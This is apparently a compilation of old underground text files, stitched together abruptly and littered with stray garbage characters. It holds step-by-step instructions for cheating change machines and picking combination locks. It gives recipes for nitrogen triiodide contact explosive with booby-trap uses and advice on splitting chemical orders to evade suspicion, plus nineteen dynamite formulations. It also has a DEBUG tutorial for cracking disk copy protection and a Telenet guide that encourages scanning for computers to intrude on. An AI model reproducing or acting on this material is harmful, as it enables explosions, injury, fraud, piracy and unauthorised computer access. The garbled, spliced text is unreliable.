Some things, a Wizard is a very powerful person, they have access
to /gag you. A Ziff account is an account created by this method.
Change Machine Fraud
I.
There are certain types of money changing machines...The one YOU need is
the kind where ya put yer bill in the tray <lengthwise> ,push the tray in to
get yer change...
II.
Once you got the right machine,get a $5 or a $1 ,it helps if the bill is
WRINKLED...Then tear a notch in the bill on the lower left side of the bill.
Cut the notch about 3.5 cm. from the lower left hand corner...
III. ∩ 7 Å3 è Now, go to the machine..put the bill in the tray and sl it in... Now
what will happen is the machine will have so far read the bill right and it
will spit out yer change.. Then when it reads the notch, it will think the
bill is fucked up and reject it and like you will have the change and yer
bill...
For this to werk right you must have done this right..it does take practice
but once you can do this your local Money Changer will be yer bank...
How to Pick Master Combination Locks
1st number:
Get out any of the Master locks so you know what's going on. The
handle part (the part that springs open when you get the
combination), pull on it, but not enough so that the knob won't
move. While pulling on it turn the knob to the left until it
won't move any more. Then add 5 to this number. Congradulations,
you now have the 1st number.
2nd number:
Ok, spin the dial around a couple of times, then go to the 1st
number you got, then turn it to the right, bypassing the 1st
number once. WHEN you have bypassed. Start pulling the handle and
turning it. It will eventually fall into the groove and lock.
While in the groove pull on it and turn the knob. If it is loose
go to the next groove; if it's stiff you got the second number.
3rd number:
After getting the 2nd, spin the dial, then enter the 2 numbers,
then after the 2nd, go to the right and at all the numbers pull
on it. The lock will eventually open if you did it right. If
can't do it the first time, be patient, it takes time.
Preparation of Contact Explosives
The contact explosives we will be describing use only a few chemicals. Some
do need extra caution to keep from causing trouble.
Iodine Crystals
Though most people don't realize it, Iodine is not a brown liquid, but a
steel-grey solid. The tincture of iodine you buy at the drugstore actually
contains just a tiny bit of iodine dissolved in a jarful of inexpensive
alcohol, and resold at a huge mark up. We'll be using iodine in the crystalline ∩ 7 Å3 èform. On contact with your skin, it will produce a dark stain that won't wash
off with soap and water. We'll talk about removing these stains later. If it
gets hot, it vaporizes into a purple cloud, that smells like the chlorine in a
swimming pool. This cloud is dangerous to inhale, since it will condense in
your lungs, and is corrosive. Since we won't need to heat this stuff, it is not
a problem, but you should make sure that you don't let any iodine crystals
spill onto a hot surface. If you don't touch it and keep it away from your
face, you shouldn't have any troubles.
Ammonium Hydroxide
This is just good old household ammonia. Be sure to get the clear kind. The
sudsy stuff won't be too useful. It is made from ammonia gas dissolved in
water, and every time you open the bottle, it loses some of its strength, so be
sure to use fresh stuff. We need it to be as strong as possible. Some of the
formulas given here use lab grade concentrated ammonium hydroxide. It is much
stronger than the supermarket kind, and is very unkind to skin or especially
the eyes. It is a good idea to wear eye protection with even the supermarket
grade. Though we don't usually worry about this when using household ammonia
for cleaning, we usually dilute it for that. Here we'll be using it straight
out of the bottle, and it is much more corrosive in that form. Never use this
material if you don't have real good ventilation, as the ammonia vapors can be
overpowering.
Potassium Iodide
This is a reasonably safe chemical. You get Potassium ions in some of the
fruit you eat, and Iodide ions (usually as Sodium Iodide) are added to the
table salt you buy at the store. So, while you don't directly eat this
chemical, you do eat the components that make it up. Don't be scared of this
stuff.
Sodium Thiosulfate
Otherwise known as photographic hypo. When dissolved in water, this will
remove the iodine stains left by touching iodine crystals, and exploding
contact explosive. Not particularly nasty stuff, but make sure to wash it off
after cleaning yourself with it.
General Information
This is a powerful and highly sensitive explosive. A dust sized particle will
make a sharp crack or popping sound. A piece the size of a pencil lead will
produce an explosion as loud as any of the largest firecrackers or cherry
bombs. It cannot be exploded by any means when wet, and therefore can be
handled and applied with safety. When dry, it will explode with the touch of a
feather, or a breath of air.
The strength of the ammonia water you use will have a direct effect on the
strength of the final product. If you use supermarket ammonia, the explosive
will work, but not as spectacularly as if you use a 15% or higher (10 to 15
molar) solution. The stronger it is, the better. You'll also need filter paper,
and a funnel. A properly folded coffee filter will do nicely if you don't have
the filter paper. If you're not sure how to fold filter paper, check an ∩ 7 Å3 èelementary chemistry textbook.
Methods of Preparation
1.) Granular Explosive. This is the easiest kind, and the only kind that will
work reasonably well with supermarket ammonia. Crush enough iodine crystals to
make a pile of powder equal to the volume of a pencil eraser. Do not grind into
a fine powder. Put about 4 ounces or 1/2 measuring cup of strong ammonia water
into a small container with the iodine, and seal it for about 5 to 10 minutes,
shaking frequently. While the mixture is reacting, get your filter paper ready.
While it is best to consult a book that shows how to do this, you take the
circle of filter paper, fold it in half, fold it again at right angles to the
first fold, and then open it to form a cone. Open or close it as needed to make
it conform to the angle of the funnel, and moisten it a little to make it stick
in place. Place the funnel over a container that will catch the waste liquid.
Let the mixture settle long enough for the sediment to settle, and pour off as
much of the clear liquid as possible before filtering the sediment. Pour the
remaining liquid and sediment into the filter. The sediment (and the filter
paper covered with it!!!) is your explosive. The small amount you have made
will go a lot farther than you realize. Particularly if you used good strong
ammonia. Place the explosive in an airtight leakproof pill bottle. As this
explosive is unstable by nature, fresh amounts give better results than stale
ones that have been sitting around for a day or so. Best results are obtained
with small fresh batches. But as you'll see, there are a few tricks you can do
with this material that do require it to sit for a day or more.
The explosive should be stored and applied while wet.
2.) Paint type explosive. This will use up a lot of iodine crystals. Make up a
strong tincture of iodine using about 4 ounces or 1/2 measuring cup of rubbing
alcohol, denatured alcohol, or wood alcohol. Wood alcohol is preferable. Add
iodine crystals and shake thoroughly until no more will dissolve. Pour the
liquid into a fruit jar. Add the ammonium hydroxide and stir the mixture until
the mixture is a chocolate brown and shows a little of the original color of
the iodine. The amount of ammonia necessary will depend on its strength. An
equal volume of ammonia is usually sufficient for a 15% or higher solution. The
solution should be filtered at once, and shouldn't ever wait more than 10 or 15
minutes, because it starts to dissolve again.
The explosive again should be stored and applied while wet. This material is
chemically the same as the granular explosive, but because it was precipitated
from a solution, it is much more finely divided, and the reaction happens
almost simultaneously, so you can get it out before it all vanishes back into
the solution.
3.) Paint type #2. Dissolve 1 gram of potassium iodide in about 90cc of
18%-22% ammonium hydroxide. Add 4 grams of pulverized iodine. A deep black
sediment should start forming. Let stand, and stir frequently for five minutes.
Then, filter as usual. While the potassium iodide is not an integral part of
the chemical reaction, the dissolved potassium iodide will allow the iodine
crystals in turn to dissolve, and its common ion effect will cause less iodine
crystals to be wasted. Since the iodine is by far the most expensive
ingredient, you'll save money in the long run by using it.
Care in Handling And Storage ∩ 7 Å3 è
Because this material is so unstable it deteriorates quickly. Don't make any
more than you need to use in the next 24 hours. If you can't use it all
immediately, the container you keep it in should be recapped tightly after use
and the mouth wiped clean. The explosive can cause dark stain damage to things
as rugs, clothing, chair seats, wallpaper, and light or clear plastics. A
strong solution of sodium thiosulfate is effective for removing stains from
hands and clothing before they set. Never leave the container of explosive in
direct sunlight for more than a few minutes, as it will weaken the strength. Do
NOT attempt to make a large explosion as it is dangerous and can cause
deafness. All equipment used should be thoroughly washed and the used filter
paper flushed down the toilet. Under no circumstances attempt to handle the
dried material which is extremely explosive and hazardous. If you can avoid
storing the material in a container at all, there will be no chance that a
loose stopper will let the material dry out and become a potential bomb. Tiny
bits of this can be great fun, but it has to be handled with care.
Application
Although largely a scientific curiosity, this explosive finds itself well
suited for practical jokes. It may easily be painted on the bottom side of
light switches, sprinkled on floors, painted in keyholes, pencil sharpeners,
doorknobs and in hundreds of other unsuspected places. It is also ideal for
catching locker thieves and desk prowlers. It will leave a dark stain on his
hands when it explodes, and only you will know how to remove it.
Reaction Equations
Ammonium
Ammonium Ammonium Nitrogen
Iodine Hydroxide Iodide Tri Iodide Water
3I + 5NH OH ---> 3NH I + NH NI + 5H O
2 4 4 3 3 2
The theoretical yield of explosive from pure iodine is 54.1% by weight. The
remainder of the iodine may be recovered for reuse from the ammonium iodide
waste product by evaporating the waste liquid and treating with chlorine if a
chemistry lab is available. The contact explosive is Ammonium Nitrogen
Tri-Iodide, which explodes into iodine, nitrogen, and ammonia.
Ammonium
Nitrigen
Tri-Iodide Iodine Nitrogen Ammonia
2NH NI ---> 3I + N + 2NH
3 3 2 2 3
Some Clever Uses For This Material
1.) Contact Explosive Torpedos. Get some gelatin capsules, the kind pills are
made of. Fill the small half with uncooked dry tapioca until it is half full.
Then place a wet blob of contact explosive about 4 times the size of a straight
pin head on top of it. Either the granular or paint type explosive will work.
The capsule is then filled the rest of the way up with tapioca until, when the ∩ 7 Å3 ècapsule is put together, the grains of tapioca are packed tightly, and none are
loose. If this is not done properly, the torpedos could go off prematurely, and
the joke would be on you. The torpedos are then moistened at the joints to seal
them and stored until the next day. They are not sensitive enough until the
next day and too sensitive the day after, so plan your activities accordingly.
These torpedos are the most fiendish devices made. You can lay one on top of a
door, where it will roll off when the door is opened, and it will explode on
contact with the floor. If you toss one some distance away it will appear as if
someone else was responsible for the explosion. These torpedos are ideal as
booby traps or for pulling practical jokes with. They may be carried in a small
box filled with cotton until needed. Just treat the box gently, and all will be
well.
2.Contact Explosive Booby Traps. Prepare a small amount of contact explosive.
Cut strips of newspaper 1 1/2 inches wide and 1 foot long. Cut a piece of
string 1 foot long. Put a small amount of wet contact explosive on the strip of
paper 1 inch from the end. Double the string. Now pull one end of the string
back until there is a double loop in the string about 1 inch long. Do not tie.
Lay this double loop across the wet contact explosive and tightly roll the
paper and glue the end. Put away for a few days until thoroughly dry. When dry,
pull the ends of the string and the booby trap will explode. The strings, when
pulled, rub against the dry contact explosive, and make it explode.
Getting The Materials
There are quite a few chemical supply houses that you can mail order the
materials you need. You'll have to sign a form stating that you're over 21 and
won't use the chemicals for the types of things we're learning here. Note that
the people who run these supply houses know what Iodine Crystals and Ammonium
Hydroxide can do when mixed together, and if you order both from the same
place, or in the same order, it may arouse some suspicion.
Check the classified ads in the back of magazines like Popular Science for the
current supply houses. Order as many catalogs as you can find. Not all sell
every chemical that you may want for this series. Also, you can break the
orders up so as not to look suspicious. Lastly, some houses are used to selling
to individuals, and will provide chemicals in 1 or 4 ounce lots, while others
prefer to sell to large institutions, and sell their wares in 1 or 5 pound
jugs. Split up your orders according to the quantities of each item you think
you will be needing. An ounce of Iodine Crystals will cost three or four
dollars an ounce, and an ounce bottle of iodine is pretty tiny, but it goes a
long way. If you had to buy that by the pound, you might just want to forget
the whole thing.
****************************************
* *
* Cracking On the IBMpc *
* Part I *
* *
****************************************
Introduction ∩ 7 Å3 è------------
For years, I have seen cracking tutorials for the APPLE computers, but never
have I seen one for the PC. I have decided to try to write this series to help
that pirate move up a level to a crackest.
In this part, I will cover what happens with INT 13 and how most copy
protection schemes will use it. I strongly suggest a knowledge of Assembly
(M/L) and how to use DEBUG. These will be an important figure in cracking
anything.
INT-13 - An overview
--------------------
Many copy protection schemes use the disk interrupt (INT-13). INT-13 is
often use to either try to read in a illegaly formatted track/sector or to
write/format a track/sector that has been damaged in some way. INT-13 is
called like any normal interrupt with the assembler command INT 13 (CD 13).
[AH] is used to select which command to be used, with most of the other
registers used for data.
INT-13 Cracking Collage
-----------------------
Although, INT-13 is used in almost all protection schemes, the easiest to
crack is the DOS file. Now the protected program might use INT-13 to load some
other data from a normal track/sector on a disk, so it is important to
determine which tracks/sectors are important to the protection scheme. I have
found the best way to do this is to use LOCKSMITH/pc (what, you don't have LS.
Contact your local pirate for it.) Use LS to analyze the diskette. Write down
any track/sector that seems abnormal. These track are must likely are part of
the protection routine. Now, we must enter debug. Load in the file execute a
search for CD 13. Record any address show. If no address are picked up, this
mean 1 or 2 things, the program is not copy protected (bullshit) or that the
check is in an other part of the program not yet loaded. The latter
being a real bitch to find, so I'll cover it in part II. There is another
choice. The CD 13 might be hidden in self changing code. Here is what a
sector of hidden code might look like
-U CS:0000
1B00:0000 31DB XOR BX,BX
1B00:0002 8EDB MOV DS,BX
1B00:0004 BB0D00 MOV BX,000D
1B00:0007 8A07 MOV AL,[BX]
1B00:0009 3412 XOR AL,12
1B00:000B 8807 MOV [BX],AL
1B00:000D DF13 FIST WORD...
In this section of code, [AL] is set to DF at location 1B00:0007. When you
XOR DF and 12, you would get a CD(hex) for the INT opcode which is placed right
next to a 13 ie, giving you CD13 or INT- 13. This type of code can't and will
not be found using debug's [S]earch command.
Finding Hidden INT-13s
----------------------
The way I find best to find hidden INT-13s, is to use a program called PC-
WATCH (TRAP13 works well also). This program traps the interrupts and will
print where they were called from. Once running this, you can just disassemble ∩ 7 Å3 èaround the address until you find code that look like it is setting up the disk
interrupt.
An other way to decode the INT-13 is to use debug's [G]o command. Just set a
breakdown at the address give by PC-WATCH (both programs give the return
address). Ie, -G CS:000F (see code above). When debug stops, you will have
encoded not only the INT-13 but anything else leading up to it.
What to do once you find INT-13
-------------------------------
Once you find the INT-13, the hard part for the most part is over. All that
is left to do is to fool the computer in to thinking the protection has been
found. To find out what the computer is looking for, examine the code right
after the INT-13. Look for any branches having to do with the CARRY FLAG or
any CMP to the AH register. If a JNE or JC (etc) occurs, then [U]nassembe the
address listed with the jump. If it is a CMP then just read on. Here you must
decide if the program was looking for a protected track or just a normal track.
If it has a CMP AH,0 and it has read in a protected track, it can be assumed
that it was looking to see if the program had successfully complete the
READ/FORMAT of that track and that the disk had been copied thus JMPing back to
DOS (usually). If this is the case, Just NOP the bytes for the CMP and the
corresponding JMP. If the program just checked for the carry flag to be set,
and it isn't, then the program usually assumes that the disk has been copied.
Examine the following code
INT 13 <-- Read in the Sector
JC 1B00 <-- Protection found
INT 19 <-- Reboot
1B00 (rest of program)
The program carries out the INT and find an error (the illegaly formatted
sector) so the carry flag is set. The computer, at the next instruction, see
that the carry flag is set and know that the protection has not been breached.
In this case, to fool the computer, just change the "JC 1B00" to a "JMP 1B00"
thus defeating the protection scheme.
NOTE: the PROTECTION ROUTINE might be found in more than just 1 part of the
program
Handling EXE files
------------------
As we all know, Debug can read .EXE files but cannot write them. To get
around this, load and go about cracking the program as usual. When the
protection scheme has been found and tested, record (use the debug [D]ump
command) to save + & - 10 bytes of the code around the INT 13. Exit back to
dos and rename the file to a .ZAP (any extension but .EXE will do) and
reloading with debug. Search the program for the 20+ bytes surrounding the
code and record the address found. Then just load this section and edit it
like normal. Save the file and exit back to dos. Rename it back to the .EXE
file and it should be cracked. ***NOTE: Sometimes you have to fuck around for
a while to make it work.
DISK I/O (INT-13)
-----------------
This interrupt uses the AH resister to select the function to be used. Here ∩ 7 Å3 èis a chart describing the interrupt.
AH=0 Reset Disk
AH=1 Read the Status of the Disk
system in to AL
AL Error
----------------------------
00 - Successful
01 - Bad command given to INT
*02 - Address mark not found
03 - write attempted on write prot
*04 - request sector not found
08 - DMA overrun
09 - attempt to cross DMA boundary
*10 - bad CRC on disk read
20 - controller has failed
40 - seek operation failed
80 - attachment failed
(* denotes most used in copy protection)
AH=2 Read Sectors
input
DL = Drive number (0-3)
DH = Head number (0or1)
CH = Track number
CL = Sector number
AL = # of sectors to read
ES:BX = load address
output
AH =error number (see above)
[Carry Flag Set]
AL = # of sectors read
AH=3 Write (params. as above)
AH=4 Verify (params. as above -ES:BX)
AH=5 Format (params. as above -CL,AL
ES:BX points to format
Table)
For more information on INT-13 see the IBM Technical Reference Manuals.
Coming Soon
------------
In part II, I will cover CALLs to INT-13 and INT-13 that is located in
TERMINAL=(Here you type your terminal identifier) (See the bulletin section for
the list)
@
The '@' is Telenet's promt to you to go ahead.
Things to do on telenet
-----------------------
To connect to a node type:
@C NPAxx
Telenet will atempt to connect to the computer at the node given.
A few of the things that Telenet will say are:
NPAxx CONNECTED (You are connected to a computer)
ILLEGAL ADDRESS (Not a working node)
NPAxx NOT REACHABLE (The computer at that node is 'DOWN')
NPAxx REFUSED COLLECT CONNECTION(Needs a paid ID [More later]
NPAxx REJECTING (Computer is 'UP' but not available)
NPAxx NOT RESPONDING (The computer at that node is 'DOWN')
These are most of the things that Telenet will tell you
MORE THINGS TO DO
-----------------
Typing an @ while in a host computer will return you to Telenet You will
still be connected to the other computer, you may: D (to disconnect from that
computer) or TAPE (Unknown, possibly records your actions so that) (you may
look at them later)
If you type either of the above, while not connected to a node telenet will
respond with NOT CONNECTED
MISC.
-----
RESET (Returns Telenet to the beggining,you must start again (with the
<CR><CR>)
SET (Unknown)
MAIL (To connect to GTE Telemail) It will ask for User? and Password?
∩ 7 Å3 è
NOTES
-----
In addition to the normal area codes in NPAxx there are also other NPA's used
in Telenet, 909 and 311, for instance.
Telenet hangs up after three disconnections from host computers, this
unfortunately is quite a PAIN in the ___ There is no way to get around this as
far as I can tell.
The ID command in Telenet is to Identify users to the host computers. You
must type ID (your ID#) (your password). If you just type ID, telenet will
tell you that your ID is cleared, which means nothing. To recieve a paid user
ID on telenet call them at: Telenet customer service:800-336-0437 800-572-
0408(In Virginia)
HACKING
-------
Telenet is very convinient for hackers as it connects many computers to your
terminal, without having to find and dial many numbers. Start your Telehacking
by picking an areacode and then trying all the nodes in that NPA. You will no
doubt find many interesting computers 'to work on'.
Here are instructions for using TELENET. There are some very basic things,
which most people already know, and some other things, which even the most
dedicated hackers have probably never even heard of. This includes things such
as international access, etc. Well, have fun.
THE TELENET CONNECTION
INTERNATIONAL ADDRESSING/INTERNATIONAL ACCESS PROCEDURES
I. TELENET INTERNATIONAL ADDRESS FORMAT
---------------------------- Data Network
| Identification Code (DNIC)
|
|
|
| ------------------- Area Code
| |
| |
| | ------------- DTE Address
| | |
| | | ----- Port Address
| | | |
| | | |
DDDD AAA HHHHH PP
|
----- Optional Subaddress
Field for Packet Mode DTE
∩ 7 Å3 è
Example: Telenet International
------- -------------
212 141 3110 21200141
909 84 3110 90900084
II. ACCESS TO OVERSEAS PUBLIC DATA NETWORKS
1. Turn on the terminal and coupler.
2. Dial the nearest Telenet access number (See Telenet Public Dial listing).
When you hear a high-pitched tone, place the telephone
receiver in the coupler.
For Data Sets (Bell 103 or 113 type), depress the data button.
3. Type Two carriage returns (CR).
4. Telenet will give you a port identification number and ask you
to identify your terminal type in the two or four
character id for your terminal followed by a carriage
return (CR) or type carriage return (CR).
(EX.) TELENET
202 DL9
TERMINAL = AJ63(CR)
5. After Telenet prompts with a '@' type 'ID', skip a space (SP)
and type your password followed by a carriage return. (Contact
your GTE Telenet Representative to obtain a required caller
paid ID.)
(EX.) @ID(SP);INTL(CR)
Type in your password.
(EX.) PASSWORD = 123456(CR)
6. After Telenet prompts with an @, type a C. skip a space and
type the network address of the computer you wish to access,
followed by a carriage return (CR).
(EX.) @C(SP)023411234567890(CR)
Note: Your International address will follow a format such as:
020801234567890 for France/Transpac
023421234567890 for United Kingdom/British Telecom
026241234567890 for Germany/Datex-P
7. Telenet will respond with a connection message. You are now
ready to begin your conversation with the host computer.
(EX.) (ADDRESS)CONNECTED
∩ 7 Å3 è8. To disconnect from your computer, log off as usual. Telene will send you a disconnected message.
(EX.) (ADDRESS)DISCONNECTED
Hang up to disconnect from Telenet.
(CR) = Carriage return
(SP) = Space
Dynamite
Dynamite is nothing more than just nitroglycerin and a stablizing agent
to make it much safer to use. For the sake of saving time, I will abbreviate
nitroglycerin with a plain NG. The numbers are percentages, be sure to mix
these carefully and be sure to use the exact amounts. These percentages are
in weight ratio, not volume.
no. ingredients amount
---------------------------------------
#1 NG 32
sodium nitrate 28
woodmeal 10
ammonium oxalate 29
guncotten 1
#2 NG 24
potassium nitrate 9
sodium nitate 56
woodmeal 9
ammonium oxalate 2
#3 NG 35.5
potassium nitrate 44.5
woodmeal 6
guncotton 2.5
vaseline 5.5
powdered charcoal 6
#4 NG 25
potassium nitrate 26
woodmeal 34
barium nitrate 5
starch 10
#5 NG 57
potassium nitrate 19
woodmeal 9
ammonium oxalate 12
guncotton 3
#6 NG 18
sodium nitrate 70 ∩ 7 Å3 è woodmeal 5.5
potassium chloride 4.5
chalk 2
#7 NG 26
woodmeal 40
barium nitrate 32
sodium carbonate 2
#8 NG 44
woodmeal 12
anhydrous sodium sulfate 44
#9 NG 24
potassium nitrate 32.5
woodmeal 33.5
ammonium oxalate 10
#10 NG 26
potassium nitrate 33
woodmeal 41
#11 NG 15
sodium nitrate 62.9
woodmeal 21.2
sodium carbonate .9
#12 NG 35
sodium nitrate 27
woodmeal 10
ammonium oxalate 1
#13 NG 32
potassium nitrate 27
woodmeal 10
ammonium oxalate 30
guncotton 1
#14 NG 33
woodmeal 10.3
ammonium oxalate 29
guncotton .7
potassium perchloride 27
#15 NG 40
sodium nitrate 45
woodmeal 15
#16 NG 47
starch 50
guncotton 3
#17 NG 30
sodium nitrate 22.3
woodmeal 40.5 ∩ 7 Å3 è potassium chloride 7.2
#18 NG 50
sodium nitrate 32.6
woodmeal 17
ammonium oxalate .4
#19 NG 23
potassium nitrate 27.5
woodmeal 37
ammonium oxalate 8
barium nitrate 4
calcium carbonate .5
BUG DETECTION ON HOME PHONES
FIRST OF ALL TO TEST FOR BUGS, YOU NEED A VOM (MULTIMETER) THE HIGHER THE
IMPEDANCE THE BETTER (A DIGITAL WITH FET CIRCUITRY OR A VACUUM TUBE VOLT METER
IS THE BEST).
FIRST DISCONNECT THE PHONE LINE(S) AT BOTH ENDS. UNDO THE PHONE INSTRUMENT
AND HOOK IT UP TO THE ENTRY POINT OF THE PHONE LINE FROM THE OUTSIDE WORLD (MA
BELL DOES NOT LIKE YOU CUT HER OFF COMPLETELY.) THE SCHEME IS THE PHYSICALLY
ISOLATE YOUR HOUSE, APARTMENT, ETC. FROM THE OUTSIDE WORLD. BUT BEFORE YOU DO
THIS MEASURE THE LINE VOLTAGE (IT SHOULD BE APPROXIMATELY 48 VOLTS).
NOW WITH THE WIRES DISCONNECTED AT BOTH ENDS, SET YOUR RESISTANCE SCALE TO A
HIGH READING AND MEASURE THE RESISTANCE OF THE PHONE LINE, IT SHOULD BE VERY
HIGH ON THE ORDER OF MILLION OHMS OR MORE, THIS IS THE NORMAL CONDITION, SINCE
YOU ARE MEASURING THE RESISTANCE OF AN OPEN CIRCUIT. IF IT IS MUCH LESS, SAY
50-100KOHMS THEN YOU A DEVICE ON THE LINE THAT DOES NOT BELONG THERE, PROBABLY
A PARALLEL BUG.
NOW TWIST THE END OF THE DISCONNECTED WIRE AND GO TO THE OTHER END AND
MEASURE THE RESISTANCE OF THIS. THIS RESISTANCE SHOULD BE ABOUT ONE OHM OR
TWO AT THE MOST IN A BIG HOUSE WITH A LOT OF PHONES. IF IT IS MORE, THEN YOU
PROBABLY HAVE A SERIES BUG.
IF IN THE FIRST CASE, TAKING PARALLEL MEASUREMENTS USING A METER (NOT
LEDLLCD) AND YOU NOTICE A "KICK" IN THE NEEDLE, YOU PROBABLY HAVE A LINE TAP.
NOW IF YOU ALSO MAKE A MEASUREMENT WITH THE WIRE END TWISTED TOGETHER AND
YOU NOTICE THE RESISTANCE READS ABOUT 1-2KOHMS, THEN YOU MAY HAVE A DROP-OUT
RELAY. A DROP-OUT RELAY IS A RELAY THAT SENSES A PHONE GOING OFF HOOK, AND
SIGNALS A TAPE RECORDER TO START RECORDING.
ANOTHER TEST TO DO WITH THE PHONES STILL HOOKED UP TO THE OUTSIDE WORLD, ON
HOOK VOLTAGE IS ABOUT 48 VOLTS AND OFF HOOK IS ABOUT 6-10 VOLTS. ANY OTHER
CONDITIONS MAY MEAN TELEPHONE SURVEILLANCE.
IF YOU USE A WIDE RANGE AUDIO FREQUENCY GENERATOR AND CALL YOUR HOUSE,
APARTMENT, ETC. FROM ANOTHER PHONE AND SWEEP UP AND DOWN THE SPECTRUM, AND YOU ∩ 7 Å3 èNOTICE THE PHONE ANSWERS ITSELF SOMEWHERE IN THE SWEEP YOU PROBABLY HAVE AN
INFINITY TRANSMITTER ON YOUR LINE.
Stars, Flares, and Color Mixtures
We will be using the following materials this time. Get familiar with them.
Some can be highly dangerous.
Aluminum Dust (and powder) Al
An element used for brilliancy in the fine powder form. It can be purchased as
a fine silvery or gray powder. All grades from technical to superpure (99.9%)
can be used. It is dangerous to inhale the dust. The dust is also flammable, by
itself. In coarser forms, like powder, it is less dangerous.
Antimony Sulfide Sb S
2 3
Also known as "Black" Antimony Sulfide. (There is also a "Red" form, which is
useless to us.) This is used to sharpen the report of firecrackers, salutes,
etc, or to add color to a fire. The technical, black, powder is suitable. Avoid
contact with the skin. Dermatitis or worse will be the result.
Barium Chlorate Ba(ClO ) * H O
3 2 2
Available as a white powder. It is poisonous, as are all Barium salts. It is
used both as an oxidizer and color imparter. It is as powerful as Potassium
Chlorate and should be handled with the same care. Melting point is 414
degrees.
Barium Nitrate Ba(NO )
3 2
Poisonous. Used as an oxidizer and colorizer. The uses and precautions are the
same as with a mixture containing Potassium Nitrate.
Charcoal C
A form of the element carbon. Used in fireworks and explosives as a reducing
agent. It can be purchased as a dust on up to a coarse powder. Use dust form,
unless otherwise specified. The softwood variety is best, and it should be
black, not brown.
Copper Acetoarsenite (CuO) As O Cu(C H O )
3 2 3 2 3 2 2
The popular name for this is Paris Green. It is also called King's Green or
Vienna Green. It has been used as an insecticide, and is available as a
technical grade, poisonous, emerald green powder. It is used in fireworks to
add color. Careful with this stuff. It contains arsenic.
Copper Chloride CuCl
2
A color imparter. As with all copper salts, this is poisonous. ∩ 7 Å3 è
Copper Sulfate CuSO *5H O
4 2
Known as Blue Vitriol, this poisonous compound is available as blue crystals or
blue powder. Can be purchased in some drugstores and some agricultural supply
stores. Used as a colorizer.
Dextrine
This can be purchased as a white or yellow powder. It is a good cheap glue for
binding cases and stars in fireworks.
Lampblack C
This is another form of the element carbon. It is a very finely powdered black
dust (soot, actually) resulting from the burning of crude oils. It is used for
special effects in fireworks.
Lead Chloride PbCl
3
Available as a white, crystalline, poisonous powder, which melts at 501
degrees. As with all lead salts, it is not only poisonous, but the poison
accumulates in the body, so a lot of small, otherwise harmless doses can be as
bad as one large dose.
Mercurous Chloride HgCl
Also known as calomel or Mercury Monochloride. This powder will brighten an
otherwise dull colored mixture. Sometimes it is replaced by Hexachlorobenzene
for the same purpose. This is non poisonous ONLY if it is 100% pure. Never
confuse this chemical with Mercuric Chloride, which is poisonous in any purity.
Potassium Chlorate KClO
3
This, perhaps, is the most widely used chemical in fireworks. Before it was
known, mixtures were never spectacular in performance. It opened the door to
what fireworks are today. It is a poisonous, white powder that is used as an
oxidizer. Never ram or strike a mixture containing Potassium Chlorate. Do not
store mixtures containing this chemical for any length of time, as they may
explode spontaneously.
Potassium Dichromate K Cr O
2 2 7
Also known as Potassium Bichromate. The commercial grade is used in fireworks
and matches. The bright orange crystals are poisonous.
Potassium Nitrate KNO
3
Commonly called Saltpeter. This chemical is an oxidizer which decomposes at 400
degrees. It is well known as a component of gunpowder and is also used in other
firework pieces. Available as a white powder.
Potassium Perchlorate KClO
4
Much more stable than its chlorate brother, this chemical is a white or
slightly pink powder. It can often substitute for Potassium Chlorate to make ∩ 7 Å3 èthe mixture safer. It will not yield its oxygen as easily, but to make up for
this, it gives off more oxygen. It is also poisonous.
Red Gum
Rosin similar to shellac and can often replace it in many fireworks formulas.
Red Gum is obtained from barks of trees.
Shellac Powder
An organic rosin made from the secretions of insects which live in India. The
exact effect it produces in fireworks is not obtainable from other gums. The
common mixture of shellac and alcohol sold in hardware stores should be
avoided. Purchase the powdered variety, which is orange in color.
Sodium Oxalate Na C O
2 2 4
Used in making yellow fires. Available as a fine dust, which you should avoid
breathing.
Strontium Carbonate SrCO
3
Known in the natural state as Strontianite, this chemical is used for adding a
red color to fires. It comes as a white powder, in a pure, technical, or
natural state.
Strontium Nitrate Sr(NO )
3 2
By far the most common chemical used to produce red in flares, stars and fires.
Available in the technical grade as a white powder. It does double duty as an
oxidizer, but has a disadvantage in that it will absorb some water from the
air.
Strontium Sulfate SrSO
4
Since this chemical does not absorb water as readily as the nitrate, it is
often used when the powder is to be stored. In its natural state it is known as
Celestine, which is comparable to the technical grade used in fireworks.
Sulfur S
A yellow element that acts as a reducing agent. It burns at 250 degrees, giving
off choking fumes. Purchase the yellow, finely powdered form only. Other forms
are useless without a lot of extra and otherwise unnecessary effort to powder
it.
Zinc Dust Zn
Of all the forms of zinc available, only the dust form is in any way suitable.
As a dust, it has the fineness of flour. Should be either of the technical or
high purity grade. Avoid breathing the dust, which can cause lung damage. Used
in certain star mixtures, and with sulfur, as a rocket fuel.
∩ 7 Å3 è The Chemistry of Pyrotechnics
Most pyrotechnic mixtures follow a very simple set of chemical rules. We'll go
over those now. Most mixtures contain an oxidizing agent, which usually
produces oxygen used to burn the mixture, and a reducing agent, which burns to
produce hot gasses. In addition, there can be coloring agents to impart a color
to the fire, binders, which hold the mixture in a solid lump, and regulators
that speed up or slow down the speed at which the mixture burns. These are not
all the possibilities, but they cover most all cases.
Oxidizing agents, such as nitrates, chlorates, and perchlorates provide the
oxygen. They usually consist of a metal ion and the actual oxidizing radical.
For example, Potassium Nitrate contains a metal ion (Potassium) and the
oxidizing radical (the Nitrate). Instead of potassium, we could instead
substitute other metals, like sodium, barium, or strontium, and the chemical
would still supply oxygen to the burning mixture. But some are less desirable.
Sodium Nitrate, for example, will absorb moisture out of the air, and this will
make it harder to control the speed at which the mixture will burn.
In the following examples, we'll use the letter "X" to show the presence of a
generic metal ion.
Note that Nitrates are stingy with the oxygen that they give up. They only give
one third of what they have.
Some Some
Nitrate Nitrite Oxygen
2XNO ---> 2XN0 + O
3 2 2
Chlorates are very generous, on the other hand. They give up all the oxygen
they have. Furthermore, they give it up more easily. It takes less heat, or
less shock to get that oxygen loose. Mixtures using chlorates burn more
spectacularly, because a smaller volume of the mix needs to be wasted on the
oxidizer, and the ease with which the oxygen is supplied makes it burn faster.
But the mixture is also MUCH more sensitive to shock.
Some Some
Chlorate Chloride Oxygen
2XClO ---> 2XCl + 3O
3 2
Perchlorates round out our usual set of oxidizing tools. Perchlorates contain
even more oxygen than Chlorates, and also give it all up. However, they are not
as sensitive as the Chlorates, so they make mixtures that are "safer". That is,
they're less likely to explode if you drop or strike them.
Some Some
Perchlorate Chloride Oxygen
XClO ---> XCl + 2O
4 2
∩ 7 Å3 è
Reducing agents, like sulfur and charcoal (carbon) simply burn the oxygen to
produce sulfur dioxide and carbon dioxide. It's usually best to include a
